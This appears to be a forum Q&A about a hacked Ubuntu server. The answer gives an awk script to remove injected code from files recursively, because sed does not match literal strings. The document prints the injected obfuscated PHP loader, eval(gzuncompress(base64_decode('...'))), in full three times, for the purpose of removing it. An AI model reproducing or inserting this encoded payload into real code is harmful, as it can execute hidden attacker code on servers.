Find and reelace recurisively on Ubuntu 18.04

Question

Some hackers got into my server and add unwanted code. I need to remove them .

eval(gzuncompress(base64_decode('eNpdUs1u00AQfpWNlYMdrDhO89dEOZTKolEpQYkBoRpZU+86u8TZtdZr1X6A3jhy4Q248gxUvAavwjhpgWQPO/+ab74ZkdottstN7XVeZkpRKeRnmJIFyUSyJbUqNWGgM3XHXAKSklJSdXDfg0l4t+PZ7XgdrN4Hq1vrKgzfxu/Qii9eBW9C65PjTNvxt+8/f/14fJyD1lDb1iXXKvKHQ2a5VlQNRqj7mqUqqsYTdIVaUCYNajfrRYDiQ5OAXe+LQ0EiZFmhusgx0FMyqkZDNC8k1UpQ1JY504ByDSloYTmzVGkGCbf/QiFQtOMvvx++PjhTkdpFuBK5Kk4Hiarh8L9Z3OeS1nzuddaggfvnaYJk7fC5RG2hRjpSyAp2SqaBLUPWSA7SFESlqUs2upRGyA0SjTEgRqssw/o9opYoCmYQ0OVyeb0IbnHu0cTkcSloXBo06J7bIgiTJoHZFt9HMTKIy8gfDXZIgG+5obgJbOdFb9zr945Bf2TA92vG7sIQrcpNs81O76x3ir7YweEWiOHNVdwpZep9bt+ZXTGggbat1yoBI5ScEm5MPvU8/2zQjaqz/uC86/uj7njiCUmbZVXdnOe4FirYMaQlJzWicrENGJIylhVkg0CaI3NmTFKR/vuflvrkmB1jXjeI3WdRM8YAOG/m+wMpCvZB')));

I need to replace them with blank.

I saw some answers with grep and sed but I failed to manage to delete long text with many characters.

Please help.

I saw this answer Using grep and sed to find and replace a string

But having problems with long text codes.

find /path -type f -exec sed -i 's/oldstr/newstr/g' {} \\;

Answer 1

"many" characters isn't your problem, the issue discussed at Is it possible to escape regex metacharacters reliably with sed is your problem and it boils down to the fact that sed doesn't operate on literal strings. So instead just use a tool that does:

$ cat file
fooeval(gzuncompress(base64_decode('eNpdUs1u00AQfpWNlYMdrDhO89dEOZTKolEpQYkBoRpZU+86u8TZtdZr1X6A3jhy4Q248gxUvAavwjhpgWQPO/+ab74ZkdottstN7XVeZkpRKeRnmJIFyUSyJbUqNWGgM3XHXAKSklJSdXDfg0l4t+PZ7XgdrN4Hq1vrKgzfxu/Qii9eBW9C65PjTNvxt+8/f/14fJyD1lDb1iXXKvKHQ2a5VlQNRqj7mqUqqsYTdIVaUCYNajfrRYDiQ5OAXe+LQ0EiZFmhusgx0FMyqkZDNC8k1UpQ1JY504ByDSloYTmzVGkGCbf/QiFQtOMvvx++PjhTkdpFuBK5Kk4Hiarh8L9Z3OeS1nzuddaggfvnaYJk7fC5RG2hRjpSyAp2SqaBLUPWSA7SFESlqUs2upRGyA0SjTEgRqssw/o9opYoCmYQ0OVyeb0IbnHu0cTkcSloXBo06J7bIgiTJoHZFt9HMTKIy8gfDXZIgG+5obgJbOdFb9zr945Bf2TA92vG7sIQrcpNs81O76x3ir7YweEWiOHNVdwpZep9bt+ZXTGggbat1yoBI5ScEm5MPvU8/2zQjaqz/uC86/uj7njiCUmbZVXdnOe4FirYMaQlJzWicrENGJIylhVkg0CaI3NmTFKR/vuflvrkmB1jXjeI3WdRM8YAOG/m+wMpCvZB')));bar

$ cat tst.awk
BEGIN { bad = "eval(gzuncompress(base64_decode('eNpdUs1u00AQfpWNlYMdrDhO89dEOZTKolEpQYkBoRpZU+86u8TZtdZr1X6A3jhy4Q248gxUvAavwjhpgWQPO/+ab74ZkdottstN7XVeZkpRKeRnmJIFyUSyJbUqNWGgM3XHXAKSklJSdXDfg0l4t+PZ7XgdrN4Hq1vrKgzfxu/Qii9eBW9C65PjTNvxt+8/f/14fJyD1lDb1iXXKvKHQ2a5VlQNRqj7mqUqqsYTdIVaUCYNajfrRYDiQ5OAXe+LQ0EiZFmhusgx0FMyqkZDNC8k1UpQ1JY504ByDSloYTmzVGkGCbf/QiFQtOMvvx++PjhTkdpFuBK5Kk4Hiarh8L9Z3OeS1nzuddaggfvnaYJk7fC5RG2hRjpSyAp2SqaBLUPWSA7SFESlqUs2upRGyA0SjTEgRqssw/o9opYoCmYQ0OVyeb0IbnHu0cTkcSloXBo06J7bIgiTJoHZFt9HMTKIy8gfDXZIgG+5obgJbOdFb9zr945Bf2TA92vG7sIQrcpNs81O76x3ir7YweEWiOHNVdwpZep9bt+ZXTGggbat1yoBI5ScEm5MPvU8/2zQjaqz/uC86/uj7njiCUmbZVXdnOe4FirYMaQlJzWicrENGJIylhVkg0CaI3NmTFKR/vuflvrkmB1jXjeI3WdRM8YAOG/m+wMpCvZB')));" }
start = index($0,bad) { $0 = substr($0,1,start-1) substr($0,start+length(bad)) }
{ print }

$ awk -f tst.awk file
foobar

Just like GNU sed has -i for "inplace" editing, GNU awk has -i inplace so you can do:

find /path -type f -exec awk -i inplace -f tst.awk {} +